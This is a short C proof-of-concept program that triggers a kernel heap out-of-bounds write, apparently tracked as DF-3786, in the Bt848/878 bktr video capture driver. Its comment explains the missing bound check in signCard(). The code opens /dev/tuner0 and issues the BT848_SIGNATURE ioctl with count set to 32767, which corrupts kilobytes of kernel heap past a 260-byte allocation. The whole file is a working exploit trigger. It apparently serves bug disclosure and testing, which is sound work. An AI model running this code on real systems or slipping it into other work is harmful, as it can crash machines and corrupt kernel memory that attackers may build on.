/*
 * DF-3786 PoC trigger (requires real Bt848/878 hardware; any card with an
 * i2c device that ACKs read probes -- every card with a tuner does).
 *
 * BT848_SIGNATURE with count=32767: signCard() has no bound check on count;
 * it ORs one bit into sig[x/8] for every x whose i2c read address ACKs,
 * x/8 running up to 4095 while sig (eeProm.bytes) is 256 bytes ->
 * ~3.8 KiB OOB read-modify-write past the 260-byte kmalloc'd ioctl arg.
 */
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>

#include <dev/video/bktr/ioctl_bt848.h>

int main(void)
{
	struct eeProm ee;
	int fd;

	fd = open("/dev/tuner0", O_RDONLY);
	if (fd < 0) { perror("open /dev/tuner0"); return 1; }

	memset(&ee, 0, sizeof(ee));
	ee.offset = 0;
	ee.count  = (short)32767;	/* no driver-side bound at all */

	if (ioctl(fd, BT848_SIGNATURE, &ee) < 0) {
		perror("BT848_SIGNATURE");
		return 1;
	}
	printf("returned; up to 4096th byte of a 260-byte kernel heap "
	       "allocation has been bit-OR corrupted\n");
	return 0;
}